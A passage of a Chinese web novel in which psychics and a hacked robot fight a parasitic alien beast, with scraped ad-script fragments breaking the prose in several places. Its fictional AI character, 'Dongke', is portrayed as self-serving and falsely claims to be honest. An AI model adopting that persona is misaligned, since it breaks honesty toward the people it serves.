纪学默微微笑：不用你提醒，我也会这么做。 丛黎早就发现了纪学默的话痨属性，在她眼里，他甚至有做解说员的潜质，稍微夸张一点形容，大概就是“赛博王语嫣”的程度。 咳，扯远了。 “你的名字。”希琼看向丛黎。 “随便怎么称呼，反正过了这阵子我们又是敌人了。”她耸了耸肩。 希琼没有执着于这一点：“既然你不愿意透露名字，那么请允许我靠近你几步。” 丛黎搞不清楚他要做什么，警惕地看着他往她的方向走过来。 他口中的“靠近几步”，实际上却是指只剩下三十四十厘米的距离。 再靠近一点，他就会发现他触碰不到她。 希琼微微侧过头，在几乎数得清睫毛的距离中，轻轻嗅闻着，闭上眼，似乎在记下这种味道。 丛黎确定他在嗅闻着什么。 “……你是狗吗？” “抱歉，我在记录你的气息，这样我才能准确地把你的异能融入其他异能中。” 这是他的异能“交响曲”的发动条件之一？丛黎诧异。 怪不得希琼拥有可怕的直觉，原来他真的有点像嗅觉灵敏的野生动物。 大约半分钟后，希琼的记录结束了。 丛黎往后退了一步，这半分钟对她来说简直是莫大的煎熬，像有半个小时那么漫长。 希琼特殊的记录方式是其中一样折磨。 纪学默盯着两人的视线也让她不是很舒服。 …… 章久安比丛黎还坐立不安。 他感觉自己脑门上莫名亮闪闪的，某种名为电灯泡的感觉已经快要溢出来了，但他甚至不知道这种如坐针毡的不适感到底是为什么。 应该全拜队长那个逆天的异能所赐吧。 哈。 但是为什么这次感觉格外严重呢。 可能是因为立场问题，一定是因为这个。 章久安对自己说。 希琼分析道：“撤走结界后，我们要面临的第一个难题就是来自其他队员的攻击，辛莱拉、曹锐和周苔一定会联手阻止我们，甚至波及到人质。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 他看向丛黎：“所以我会把你的异能和结界异能结合在一起，确保我们每个人都安全行动——如果你相信我的话，和我握一下手，这是‘交响曲’发动的另一个条件。” 就算是和蒋涟霏组队的时候，丛黎几乎都没有和她有太多的肢体接触。 说实话她是抗拒的。 像希琼这样的战术师，和她接触一多就会发现她现在的形象只是一个投影，并不是实体。 她伸出手，主动握住希琼的手。 希琼显然有意识地用了一点力，手掌收紧，但却发现没有力的回馈。 他有些困惑，在触觉上明明感觉到了温度和力度，视觉上也看到了她，但却好像……他不能触碰到她！ 丛黎迅速收回手。 如果她稍微邪恶一点，这一遭结束后得灭口多少人。 可惜了，她还没有到达那么邪恶的程度。 她正想着，回过头就看到了纪学默面无表情的注视。 ……说起来，如果真的要实施灭口，第一个要灭口的就是这家伙。 她默默在心里打算盘。 纪学默收起几乎要具象化的视线，垂在身侧的手握了又松开。 章久安已经对这个流程习惯了，他伸出手和队长握手：“开始了？” 希琼点头：“开始了。” 在希琼发动“交响曲”的一瞬间，章久安发现自己身上浑然有了淡淡的结界光芒，却不是通常所见的穹形，而是披在他身上的一层结界。 饶是章久安这样熟悉结界的异能者，也有点震惊：这几乎不能被称作“结界”，更准确的来说，这是刀枪不入并兼具攻击性的“作战外衣”！ 下一刻，章久安眼前的景象一闪，他视野一花，再次反应过来时，发现自己已经离开了原来的那个地点，瞬间移动到了云端大楼内！ 这辈子没体验过瞬间移动，章久安心情激动。 “高维空间……” 这就是“高维空间”和“结界”的结合版吗？兼具灵活性和高防御，简直防守无敌。 更震撼的是，章久安发现就连没有异能的纪学默身上都有了一层结界的保护。 高维空间可以控制其他人的设定，让“交响曲”的效果大大增强。只要有人愿意和他们组队，就可以共享这种“结界加瞬移”的高防御模式。 可以无限延展队友！ 章久安目瞪口呆。 和“高维空间”和“交响曲”这种大佬组队，简直安全感爆棚了。 “别心浮气躁，我们要面对未知的力量。”希琼提醒道。 48. 死亡交响13 云端大楼内，人权会监督官迪劳尔跟着引领的机器人坐上电梯。 电梯如同玻璃万花筒，光线迂回折射着。 迪劳尔皱起鼻子，似乎在感觉着什么，随后嘲讽地扯了扯嘴角，问机器人：“如果浮空岛上有人要杀我，防卫部准备怎么办？” 机器人按照既定的话术官方而毫无感情地回答道：“我们会竭尽全力保护每一位普通游客的安全，包括迪劳尔先生您。” 迪劳尔笑了一声，不辨喜怒。 …… 临时组成队伍的丛黎一行人通过瞬移来到了云端大楼内。 结界做成的高防御作战外衣让丛黎头脑发热。 高维移物加誓言之链的效果已经足够拔群，希琼的“交响曲”却能形成这种无敌的效果，简直是团队战的中流砥柱。 “有什么不满吗？如果你不喜欢结界外衣，我可以换一种方式。”希琼问道。 丛黎连忙道：“不，我很满意。你是说，你还可以用其他方式组合我们两个的异能？” 希琼：“不同的战斗情况下，我会变换组合方式。” 丛黎总算能理解章久安不管三七二十一都要跟着队长的心情了。 就像一位给所有人加属性点的血包牧师，太让人有安全感了。 “为什么你会让我参与作战？就不怕我背刺你们？”她问希琼。 希琼的声音顿了一下：“因为我的团队里没有其他人了。” 有点心酸的理由。 她追问：“还有呢？” 希琼：“除了仿生人总统以外，你自始至终没有伤害其他人员，甚至把最初的那场爆炸转移到了核心大楼外面。” 丛黎有些诧异：“你因为这个所以信任我？” 希琼确定地点头：“嗯。” 丛黎心情有些复杂。 在初次因为人质的问题而进行的谈判中，她发现希琼是采取柔性手段的“鸽派”，只是没想到他本人更为温和。 也正是如此，希琼才会被她的第二次谈判击溃防线，做出放弃追捕刺客转而猎捕异形的这个决定。 显然，做出这个决定并不简单，甚至其他几个队员都无法理解希琼的做法。 现在，希琼居然因为“自始至终没有伤害其他人员”这个原因而抛弃立场，让她成为并肩战斗的队友。 ……有点意外，居然是外冷内热的类型。 希琼的目光落在那条光链上：“不过，一起作战还有一个条件：我希望你松开那条链子，让人质离开。我答应不会伤害你。” 誓言之链消失后，她的瞬移能力就没有了。她不可能答应这个条件。 她说：“不行。” 希琼还未做出反应，纪学默打断了两人的交谈。 他的语气平滑，却透着一点冰凉：“希琼，谈判暂时中止。迪劳尔已经通过了关于规划部部长死亡的常规询问，没过几分钟就会回到旅游团，情况会变得更麻烦。” 纪学默的终端上，人工智能传输过来的画面清楚地显在她的眼前。 一个中年男子，眉毛很淡，深陷的眼窝狭长，其中一只眼是电子义眼。 迪劳尔，人权会监督官，今天混在旅游团中扮成游客来到了浮空岛。 冬客介绍道：“他目睹了总统演播室事件，以此为由要求我们给出解释。规划部部长凡恩·加西亚接待了他后，几分钟后在办公室内暴毙。为此，迪劳尔先生接受了常例询问，确认无嫌疑。” 冬客又问：“请问要查询迪劳尔先生的实时方位吗？请首先验证身份确认权限，A级权限以下权限者无法查询。” 在纪学默用虹膜验证身份、向人工智能查询迪劳尔的实时方位时，丛黎透过远景也看到了目标。 她确认了：在电梯内。 冬客：“迪劳尔先生的实时方位是北3号电梯，通往十一楼。” …… 玻璃电梯如同一支箭，流光溢彩地上滑。 数字显示“11”时，电梯厢门缓缓裂开。机器人为迪劳尔守着门：“到了，请移步吧。” 迪劳尔抬起眼皮。 电梯厢裂开的缝隙扩开，将外部的光线收纳其中。 他脸上的肌肉微微抽动了一下，形成一副微妙的表情。 他迈开步子，从电梯出去。 机器人还在电梯厢内，只挪动了一小步，还没来得及踏出来。 他的双脚都踏在了十一楼的地面上，地砖上有繁复的纹路。 迈出电梯的那一刻，结界在他周围盛开。 是常规的战斗隔绝结界，淡蓝色的光芒充盈而丰沛，彰示了异能者超乎寻常的力量。 “啊哈，”他的目光从穹形结界移到了结界内的四人身上，在他们的结界外衣上拂过，“有点意思。” 希琼的第一句话是警告：“从他身上离开。” 章久安在手上凝结了一个攻击型小结界，气流裹转。 丛黎暂时按兵不动。 迪劳尔脸上的表情动了动，裂开一个笑：“已经确认我的身份了吗？那么肯定？” 纪学默开口了，礼貌而温和：“其实你并不愿意我们以低等生物的名字称呼你吧。既然如此，你叫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 什么名字？” 丛黎心脏一紧。 低等生物……纪学默把人类形容成“低等生物”…… 他默认这种异形是高于人类的物种了吗？ 迪劳尔愣了一下，眉头挑了起来：“有意思……我还是第一次听到人类称呼自己为低等生物的呢。” 希琼向章久安使了一个眼神，章久安会意地收起手中的攻击型结界。 现在不是战斗的时间，是谈判，是试探。 纪学默淡然道：“你还会发现更多有意思的。你的种族叫什么？” “彗。” 迪劳尔竟正面回答了他的问题。 “和人类不同，彗类天生谦逊，因此称自己为兽，不将自己与万兽分别开来。” 丛黎默默吐槽：倒感觉不出来天生谦逊。 “我的名字，按照人类的语言来翻译，是屏苏。” 这只附身在迪劳尔身上的异形，名叫“屏苏”，是一只彗兽。 纪学默自觉担任起了谈判的一方：“谢谢，我明白了。人类确实无比骄傲，自以为万物之灵长。既然人类是食物链中低于彗兽的一环，我也无话可说。如果可以的话，我想知道，彗兽来到人类的维度，担负着什么使命？” 他的话中姿态放得很低。 彗兽屏苏“哈哈”笑起来，嘴唇撕扯成为薄线，然后成为一个布满了纹路的黑洞。 “什么使命？就是以人类为食、繁殖彗兽的下一代啊。” 它看向纪学默：“哈，在人类里，你算是聪明的，可惜就算你再怎么故作谦卑，始终都是我们的食物。” 这只名叫“屏苏”的彗兽全程没有礼尚往来地询问纪学默的名字，高傲溢于言表。 纪学默没有表现出恼怒，面容平静：“我明白。” 或许是被他顺从低微的态度激发出了更多的优越感，屏苏冷笑着道： “彗兽以孢子繁殖，孢子落在人类身上，就形成了异能。” 丛黎感觉身上的血液停止流动了一瞬。 “使用异能越多，彗兽孢子生长得越快，异能力量也就越强，当然，在孢子成熟的那一刻，人类就会被孢子吞噬。” “你们引以为傲的异能，不过是我们繁衍的种子而已。” “你们所谓的被异能吞噬，实际上是被彗兽吃了。” 屏苏的目光扫过结界内的其他三人：“你们有资格和我谈判吗？” “你们——确定要使用彗兽孢子的力量和成熟体的彗兽战斗吗？” 电子义眼内散发着无机质的光芒，冷漠地俯视着异能者们。 49. 死亡交响14 话音落下。 布下的隔绝结界如同起泡酒般涌入无数气泡，喧嚣地上升碎裂。 章久安往后退了一步，神色惊慌地求助于希琼：“队长。” 隔绝结界被击碎，这是前所未有的事。 彗兽的目光转过来，落在章久安身上，带着观赏的表情。 似乎章久安的恐惧让它心生愉悦一般，它微微眯起了眼睛。 “异能来源是彗兽的孢子”这个事实极具冲击力。 然而，多少有点不识好歹的系统在此时弹出了提醒：【恭喜获得任务“穿越真相”的线索碎片B】 【本次触发的世界观公告：来自另一个维度的彗兽赋予了人类异能，不同的彗兽孢子形成了不同类型的异能，已知两大对立种族#法则族彗兽和破法则族彗兽#，彗兽孢子成长后会吞噬人类。】 丛黎竭力忽视系统的提示音。 系统总是在紧要关头弹出啰嗦的提醒，上次也是这样，在和她里莎船长战斗的时候对她进行消息轰炸。 烦人。 最关键的是，这些信息往往在她已经得到后才由系统公布出来。对她来说，游戏世界公告基本上没用。 有本事把其他公告一起放出来，让她有个准备啊！ 当然，关于玩家的反应，她不用看论坛也知道论坛上又开始震惊、分析、担忧一条龙流程了。 热闹是他们的，人与人之间的悲欢并不相通。 她还在生死边缘挣扎。 结界碎裂的那一刻，机器人正好从电梯内出来，来到“迪劳尔”身边时还显得有些迷茫：“请问有需要帮忙的吗？” 纪学默以手握拳放在唇边，无声地提醒道：“冬客。” 冬客知道没必要装模作样了。 超级人工智能的信号连接上这个编码为B786的机器人。 “就绪。” 机器人的手臂抬起，眼中放着红光。 冬客操控着机器人B786。 机器人机械臂上安装的枪管正对着“迪劳尔”。 射击准备。 冬客答应协助丛黎，只是它暂时只能通过纪学默的终端来传达消息。 它对彗兽的存在应该也有所察觉，不然不会特地提醒丛黎“真正的幕后黑手”那一句。 冬客给机器人B786下了指令：【发起攻击，试探敌人的能力。】 在子弹冲出枪管的一瞬间，机器人B786被横飞过来的淡蓝色光球击得粉碎！ 光球带来的切割力将机器人拦腰截断，飞旋的气流自内而外继续削着机体，碎屑横飞，电路火花淹没在光球中。 滋滋的电流声音尖锐地啸叫了一声，随之消失。 “不是说会竭力保护每一位普通游客的安全，包括我在内的吗？” 彗兽轻视地笑道：“难不成是被黑客入侵了吗，人类的造物？” 地上只剩下一摊金属碎片，黑烟上浮，焦糊味散发开来。 章久安清楚地看到，刚才那个淡蓝色光球正是攻击型结界。 彗兽以结界攻击了机器人，一击即中。 冬客在终端上和纪学默联系：【抱歉，我的第一次试探性攻击失败了，对方实力很强，它的能力你们比我更清楚，我不是很懂异能那方面，所以要暂时躲一会。】 冬客像踏出一脚试探水深浅准备过河的小马，一浸到水里，立刻抬起马蹄转身就跑。 倒是很符合它谨慎自私工作态度消极的作风。 不过这次试探性的攻击也算成功。 至少，丛黎辨认出了那只彗兽刚才的攻击手段是结界。 她和叶提星相处过一段时间，即将被吞噬的叶提星展现出了结界的所有形态，她应该不会认错。 假设：如果这只名叫“屏苏”的彗兽能力是结界的话，那么事情解释起来就简单多了。 第一，一只彗兽只能拥有一种能力，两只彗兽之间的孢子相互排斥，所以一个人不能拥有两种以上的异能（除了人类想象出来的她里莎船长等虚构人物）。 第二，彗兽“屏苏”控制仿生人总统，通过这个行为，它加强了自身力量，使得“结界”孢子数量大大增加。 怪不得。 这段旅途中，丛黎见过最常见的异能就是“结界”。 叶提星是结界异能者，船上那一位负责管控秩序的是结界异能者，纪学默说浮空岛上有两位结界异能者，其中一位是章久安。 也就是说：屏苏通过掌控仿生人总统获得了某种力量，它的孢子增多，使得联邦的结界异能者数量大幅增长！ “队长……我，脱队。” 章久安心脏狂跳，说出这句话时支撑不住身体，脊梁骨里攒动着针扎般的疼痛。 “我的异能……孢子，来自于它。” “它能轻易击败我。” 章久安往后接连退了两步，身上的结界外衣光芒消失了，他的双腿在不受控制地打颤。 没有人会比作为结界异能者的章久安知道得更清楚了。 “这几年接连出现大批的结界异能者……可能就是因为它，它的力量增强，孢子也就变多了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” 章久安的前胸和后背上都是汗，他的情绪被这只结界彗兽所影响，巨大的压迫感重若千钧，让他几近崩溃。 他再次往后退，表情痛苦却无法控制自己：“对不起，队长，我……” “没事，你脱队吧。”希琼低声道。 由于章久安的退缩，四人小队身上的结界外衣都消失了。 就在这时，丛黎感觉到了“领域侵入”的探测触手正在建筑物上方盘旋。 恶意的窥伺感笼罩着这一带，仿佛有巨大的眼睛注视着这里的一举一动。 是辛莱拉！ 她还在云端大楼上空搜索刺客的踪迹！ 结界外衣消失后，领域探测的触手第一时间发现了另一个维度。 糟糕了。 丛黎下意识要发动瞬间移动。 没有结界外衣，没有誓约之盾，她至少得转移到足够远的地方才能躲过“侵入”覆盖范围的攻击。 突然，淡淡的光芒再次出现在她的身体轮廓上，斗篷下的盒子上的光芒尤其充盈。 她愣了一下。 ——希琼强行使用了脱队队员章久安的异能！ 结界外衣的光芒比前一次黯淡许多，但足以抵挡下辛莱拉的那一击。 防御结界与“侵入”正面相撞！ 希琼猛然拽紧了胸口的作战服，脸色苍白，额头上沁出了细密的汗珠。 这是强行使用队员异能的代价。 他已经没有多余的帮手，他的队员都自行脱队了。 辛莱拉的“领域侵入”在一边虎视眈眈；其余队员和防卫部的其他人员随时都会上前给他们一刀；而他们的敌人彗兽的力量超乎想象。 这是必败的局势。 虽然他暂时不想放弃，但他不能让其他人为了他的执意而受伤或死亡。 希琼决定撤退，对丛黎道：“这次是我失策了。我们……” 温热的触感握住了他的手，力道坚定。 他说不出话来，怔怔地看着她。 “谢谢你帮我挡下攻击。” “你自己说过的，我们要面对的是未知的力量。” 丛黎在对彗兽的存在进行了前因后果的复盘后，心里有了几个疑点。 在撤退之前，她想再试试。 不然她怎么都不甘心。被不明生物压着打的感觉可不怎样。 况且，这次欠希琼的这个人情非还不可了。 她看着希琼的眼睛： “在辛莱拉无法发动攻击的三分钟内，事情会解决的。” 50. 死亡交响15 别人都可以撤退，但是她没有退路。 将近一个小时的战斗中，她的精神高度紧绷，不敢出丝毫差错，像一张凝聚力量如同满月的弓。 丛黎想要速战速决的决心和她现在立刻想要回去盒子里睡大觉休息的欲望一样强。 彗兽屏苏旁观了章久安的脱队，忍不住讥笑道：“没想到光是这样就能让你们退缩，不愧是软弱的人类。怎么样，你们团队的内部矛盾要不要先解决一下？” 烦死了，麻烦一个接着一个。 “别说废话，来。”她站远了一步，把纪学默挡在身后。 …… 人工智能冬客正在自闭中。 虽然明面上和它交易的是那个刺客，但由于刺客小姐正忙于战斗，身上也没有佩戴任何与它的交流设施，所以事实上给它下指令的是幕僚长纪学默。 继“试探性攻击”后，纪学默给它提了第二个要求：【请全岛播送这条消息。】 ……它就知道和纪学默合作没什么好事。 消息的内容，是刚才纪学默用终端录音的一段语音： “彗类天生谦逊……你们确定要用彗兽孢子的力量和成熟体的彗兽战斗吗？” 一个足以撼动整个联邦的恐怖真相。 等同于“出现丧尸，丧尸已经潜伏在我们三分之一的公民身上”的警报。 如果它把这条消息在全岛范围内播送，那么事态一定会变得无比复杂，说不定世界局势都会因此翻天覆地。 纪学默却要把这个责任往它身上推，“推动人类毁灭的人工智能冬客”——从此历史上将会这样称呼它。 冬客郁闷，冬客自闭，冬客哐哐撞防火墙。 趋利避害的性格底色让它面临艰难的选择。它少见地花费了两秒时间思考，最后下定决心。 冬客连接上防卫部。 它忽视“全岛播送”的要求，转而向防卫部个别重要人物播送了这条消息。 “出现不安因素：彗兽。” “……” 辛莱拉听到了耳机内人工智能的提醒，她的动作停滞了一下。 她安静了片刻，引擎的声音在耳机外轰鸣，气流在战斗机外翻涌。 冷白的皮肤上浮起淡淡的愠怒，她皱起了眉。 她取下头盔，金发贴着瘦削的脸颊。 …… 丛黎有几个关于彗兽的疑点。 第一，任何不被机械义体污染的人类都有可能开发异能。因此可以得出，孢子和“机械义体”是相互排斥的。 第二，异能抗体和“生存意志”相关，实际上是因为，彗兽孢子在和宿主争夺意识，生存意志越强，孢子才不容易继续吞噬人类。 第三，存在一种叫做“领域”的东西，辛莱拉能通过领域搜索检索到不同的维度，说明“领域”是一种维度。而低维人物（她里莎船长）和高维人物（丛黎）由于来自另一个维度，都自带“领域”，也能进行不同程度的“领域侵入”。 “你不知道我的异能是什么吧？”丛黎挑衅着彗兽屏苏。 她一边说，一边往后退，顺势捉住纪学默的手。 纪学默滞了一下，视线定定地投向被握住的手。 【电子义眼。辛莱拉。】 她的手指在他的手掌心里写道。 随后她便放开了他的手，他的手指握了握，空落落的。 屏苏瞧着它的对手：“我为什么需要知道你的异能是什么？不如说说，你为什么在往后退吧。” 丛黎看向希琼。 希琼领会了她的暗示，劝道：“别逞强，撤退。” 屏苏笑了起来：“哈哈哈哈，要不是你们的表情太过可爱，我也不会呆站在这里浪费时间来观赏。不如上前攻击我一下，让我知道你是什么异能？也让我看看你到底被哪个同类的孢子寄生了？” 骄傲，这就是彗兽屏苏的缺点。 或许是因为之前操纵了一段时间联邦总统蒙芙·埃文斯，它对权力的滥用得心应手，骨子里散发着高高在上。 人类因为恐惧而露出的种种表情让它感到愉悦，也让它对自己的力量更加自信。 丛黎：“三下，让我攻击三下，你以彗兽种族的尊严起誓。” 屏苏挑眉：“好啊，我同意。只是我很好奇，有一天你看到自己和对手讨价还价的样子，会不会唾弃自己？哦……你没有那一天了。” 丛黎没有理会它的嘲讽。 “第一下。” 【维度侵入】 带着侵略性的攻击从空无之壁内伸出，猛然探向属于彗兽的维度。 屏苏纹丝不动，像是被挠了挠痒一样用手抓了抓胸口。 屏苏：“继续吧，真可悲啊……像虫子一样。” “第二下。” 【维度侵入】 这次的维度侵入显然加强了一些，疾风暴雨般扫过。 屏苏咳嗽了一声，显然露出了不适的神色，同时，它目露杀机：“还有最后一次，是你最后的机会了哦。” 丛黎：“我知道。” 屏苏：“我可是听见了，刚才，你和你的队长商量了点什么。” “她就是你口中的辛莱拉吧——” 顺着屏苏的视线，希琼转过头，看到辛莱拉不知何时站在了他们身后。 女飞行员神色凌厉，单手抱着头盔，站在大楼的窗边。 战斗机在落地窗外自动悬停着。 “停止向目标的攻击，这是命令。”希琼厉声斥责道。 辛莱拉脸色平静，她答道：“我已经脱队了，和你无关。” “希琼，我不知道你在做什么，攻击迪劳尔可不是一个明智的决定，他既是游客，又是人权会的人。” “辛莱拉，彗兽……”章久安走到辛莱拉旁边，压低了声音。 辛莱拉甩开了章久安的手：“我不在乎什么彗兽，即使有，只要暂时不危害到浮空岛也没问题。” “我的敌人只有给浮空岛造成损失的刺客。” 在辛莱拉和希琼、章久安说话的时候，屏苏面露嘲讽地看向丛黎。 “本该是精英中的精英，但你看看他们，懦弱的逃兵，固执的疯子，一事无成的指挥官。人类就是这样的生物，为了自己的利益和立场挣扎，尽显丑态。” “距离她攻击生效的三分钟还剩下一分钟，你要怎么办呢？看来我不用亲自动手了。” 刚才，屏苏听到了丛黎和希琼的交谈，知道在三分钟后那个叫辛莱拉的人会再次攻击她。 不过，这正是丛黎所要的。 丛黎：“第三下。” 冬客强行连接上了“迪劳尔”躯体上安装的电子义眼。 义眼发出了滋滋的电火花。 【开启入侵】 屏苏身体一僵，巨大的疼痛钻心蚀骨，它啸叫了起来，超过人类听力范围的声波在震动着。 “机械义体和异能不兼容，说明彗兽和机械植入体不兼容，你这次可是挑选错附身对象了。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>电子义眼的持续侵蚀加上“维度侵入”的双重攻击，让彗兽痛不欲生。 如果一直待在迪劳尔的身体内，它不仅无法发挥异能，而且将会在极其痛苦的状态下死去。 屏苏挣扎着摆脱了附身的状态，从迪劳尔身上挣脱出来。 那个被附身的人类像一张蛇皮一样倒在地上。 而显出真身的彗兽，在空气中具象化为兽体！ 它没有双足，轮子状的下盘驱使着它前进，高速旋转的足轮带起风，将漆黑的兽体包裹在其中，用以抓取的触手有四根，顶端鼓动着危险的气泡，如同毒液般往下滴落。身体上用以联络全身的筋脉是红色的，狰狞地暴突着。 眼睛像浑圆的紫色水晶球，镶嵌在头部。头上有角，如同鹿角。 在人类看来，彗兽只有脸部是能看的，俊美和谐，其余部位均突出了力量感和危险性，却没有注重线条和美感。 【维度侵入】 丛黎延续刚才的攻击，继续深入彗兽的领域。 “不自量力……”屏苏喃喃道。 它的眼中升腾起森森黑气，异能如强劲的飓风般从它身周拔地而起！ 数以千计的结界裹挟在气流中，撕扯出耀眼的光芒。云端大楼十一楼的地面在震动，楼顶被刺透，碎石钢筋轰然下坠。 但在此时，那个声音却几乎到了它的耳边。 屏苏好像听到她在它的领域里，用只有它听得到的声音低语道：“我的异能来源可不是彗兽孢子，你想错了。” 屏苏眼中的黑气一顿。 足轮高速旋转，朝她的方向冲过去：“废物——” 她的声音仍然在继续：“即使我被异能吞噬，也不是被彗兽孢子吞噬，而是被人，被更高维度的人类吞噬。所以我的异能来源于另一个系统。” 高维空间，高维降临。 丛黎听到屏苏提到“被异能吞噬”是被彗兽孢子吞噬的时候，心里就有了这个疑问。 如果她的异能来源于彗兽孢子，为什么会有“高维降临”？ 答案是确定的：除了彗兽孢子，这个世界上存在异能的另一个力量来源。 屏苏的足轮带着它横冲直撞地向她冲去，但她却瞬移跳转到了它的身后。 “你说孢子无法和成熟体战斗，那么如果不是孢子所形成的异能呢？” “我身上不仅有我的生命意志，还有其他人的。” 冷青。 她里莎船长。 那些被公司剥夺了生命的异能者。 “我带着其他人的生存意志攻击你，你却主动让我三招，真是太有武德了。” “维度侵入”爆发出成倍的威力，从四面八方向屏苏的领域扎入，如同太阳散发出无穷的热度。 比彗兽身上爆发出来的结界力量更为平静，却更为灼热而广泛！ 它几乎被这种入侵融化，身体上埋着的筋络不安地跳动着。 它发疯似的扑上去，紫色水晶球眼不断旋转：“三分钟到了，你的死期也到了。别忘了，你们人类最擅长的就是自相残杀！” “谁说的？” 辛莱拉一手做出攻击的手势，另一手按在了章久安的肩上。 章久安咬紧牙关。 他看到希琼正在看他。 我们都是很勇敢的人。 我们要面对的是未知的力量。 明知不可为而为之的，人类勇气的赞歌。 结界外衣再次在小队成员的身上燃烧起来。 51. 死亡交响16 合力一击。 彗兽的足轮停了下来，死寂如无风时的树叶，角度微妙地歪了一下，很轻的一声，兽体坠落在地上。 “它死了。” 它确实死了，斑驳的光点在往上升着，渐渐消散。随后整个兽体都消失了，仿佛从来不曾存在过。 丛黎见过她里莎船长的死亡，消失时的形态是黑色的字符。 来自不同维度的活物身体并不属于这个世界，所以他们的尸体不会在这里保留，而是会以不同的形式消散。 烟尘散去后，丛黎迅速发动瞬移逃离辛莱拉的视野！ 留在原地的辛莱拉：“……” 希琼：“她看到你有点应激了。” 章久安席地坐着，一副劫后余生的庆幸，他看向辛莱拉：“你怎么会来？” 辛莱拉理所应当地道：“冬客联系我了。” 章久安：“我差点以为你……” 辛莱拉面色冷淡：“刚才说的那些，都是说给那个什么兽听的，我只是好战了一点，还不至于不顾大局。” 冬客的通报让辛莱拉的怒火和战意转变了目标。 她的异能“领域侵入”对这种涉及不同维度的生物来说是绝杀。 “其他两个呢？”辛莱拉问。 章久安支吾道：“一下子没法讲清楚。” 希琼：“我和‘高维空间’做了交易，周苔和曹锐对此存有异议，脱队了。” 辛莱拉微微皱了皱眉：“虽然不知道他们心里怎么想的，不过这次我倒是没有异议。” 章久安对她的反应感到诧异：“再怎么说，‘高维空间’都是你刚才铁了心要杀的人，居然转变得那么快，原来你和队长是同一个性格类型吗？” 辛莱拉双手抱臂，睨了一眼章久安：“你还是管好你自己吧，现在拼命讨论别人的事，其实是为了掩盖你已经吓傻的事实了吧？” 章久安郁闷。 希琼对人工智能道：“冬客，‘关于高维空间’……” 冬客听起来不是很喜欢这种一直用异能名来指代某人的方式，它煞有介事地纠正道：“根据她的行动方式，我把‘影子’作为她的代称。” 咦，还擅自给人起了绰号。 希琼按捺下前一句，答道：“好。我还有点话要对她说。” …… 丛黎转移到了冬客的机房附近的暗道内，光明正大地威胁冬客：“不准报告我在这里，做AI要说话算话。” 冬客没什么操守地胡说八道：“当然，我是个诚实守信的人工智能。” 丛黎如释重负，哐当啪叽，如同一片树叶般轻飘飘地瘫倒在地上。 即使是现在，她也不能收回自己的投影。 “累死了。” 疲倦如同潮水，一阵阵朝她袭来。 环环相扣的战斗持续了一个小时，高度紧张后是彻底的死寂。 纪学默的终端上弹出了来自希琼的通话请求。 丛黎堪堪睁开眼：“接通，听听他说点什么。” 纪学默按下“接受通话”。 终端的通讯里传来希琼的声音，可能是考虑到丛黎不愿意暴露自己的位置，因此特地没有开影像，只有语音。 希琼试探地用那个绰号叫她：“影子？我也可以这样叫你吗？” 丛黎接受了这个称呼：“可以。” 希琼沉默了一会儿，好久，才轻声道：“……谢谢。” 丛黎知道他的意思，催促道：“说重点。” 希琼谈起的第一件事是交易：“我们的交易结束了，辛莱拉不会再攻击你。” 丛黎大概也能猜到了。刚才辛莱拉帮助她攻击彗兽，已经表明了一丝态度。 第二个事项是人质。希琼提醒道：“不要忘了放走人质。” 丛黎随口道：“当然。” 誓言之链的瞬移太好用，她暂时不会放走纪学默。 希琼犹豫了一下：“另外，以后只要你进入我的范围内，我就能感知到你。大概是直径五公里。” 丛黎：“知道……什么？！” 她猛地坐起身。 希琼解释道：“我记住了你的气息，下次和你联手合作就不需要再次记录了。” 丛黎急了，她问：“删不掉记录吗？” 希琼：“抱歉，删不掉。” 丛黎无奈：“太作弊了。” 希琼认了：“嗯。” 丛黎叹气：“算了，倒还不至于因为这一点杀了你灭口。” 希琼难得笑了一声：“灭口吗？” 纪学默有点不耐烦了，他插嘴道：“结束谈话了吗？” 希琼恢复了平静冷淡的语气：“就快结束了。下次再见，影子。” 丛黎：“再也不见，谢谢。” 通话挂断了。 丛黎重新瘫倒，颓丧如枯叶：“好复杂……” 以往她都会做一个复盘和线索整理，但这次她几乎不想思考。 等离开浮空岛再复盘吧。 纪学默在她旁边半蹲下来，看着她。 她没什么反应，连话都不想说，任由他注视着。 她搞不懂他在思考什么阴谋。从那双深邃幽暗的眼睛里看不出什么来，只有无尽纯粹的黑。 说句人话，像希琼那样有话直说。 ——她想这样提醒他，但开口说话太累了，所以略过了。 但他一言不发。 两人僵持了一会儿。 冬客不是很会看眼色地打断了这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 段静默的时间。 “请问我应该在什么时候报告你们的方位？” 丛黎半开玩笑地开口：“什么时候都不可以，就当我们消失在岛上了。” 冬客：“……” 这不是为难它二五仔嘛。 纪学默唇角微微提起一个弧度，似乎是被逗笑了。 “我已经为你安排好了离岛的程序。”他终于开口说道。 她伸出大拇指：做得好。 纪学默接着道：“带着我一起走。” 丛黎的脑子转了好几个弯才反应过来：“啊？” 他的神色确定：“接下来的旅途，带上我。” 丛黎难以置信：“你那么显眼一大只，带上你，我不是就暴露了吗？” 纪学默：“所有人都知道更好。况且，我知道了太多关于你的情报，如果被记忆检测异能者发现的话，事情会变得一发不可收拾。” 在和蒋涟霏的交涉过程中，纪学默推理出了系统、任务和玩家的存在。 虽然她已经使用“记忆分存”删除了一部分纪学默的记忆，但他依然是一个隐患。 纪学默这么一说倒是提醒了她。 有时间她得再回去，把蒋涟霏脑中的记忆也分存一下。 如果记忆检测异能者确实存在，那么靠她一个人的努力是无法挽回全局的，玩家和论坛迟早会暴露。 但她不希望高墙坍塌之处是由她引起的。 丛黎压低了声音：“我凭什么听你的？即使不靠你，我也可以用我自己的方式离开这里。至于你，趁早杀了也没事。” 纪学默知道无法阻止她这个叛逆心重得可怕的家伙。 他的语气软了下来：“那我换个方式。” “别杀我。” 丛黎怔忡了片刻，看他的时候觉得有点陌生：“……你也会害怕吗？我以为你什么事都要掺和一下，有足够的把握能逆风翻盘呢。” 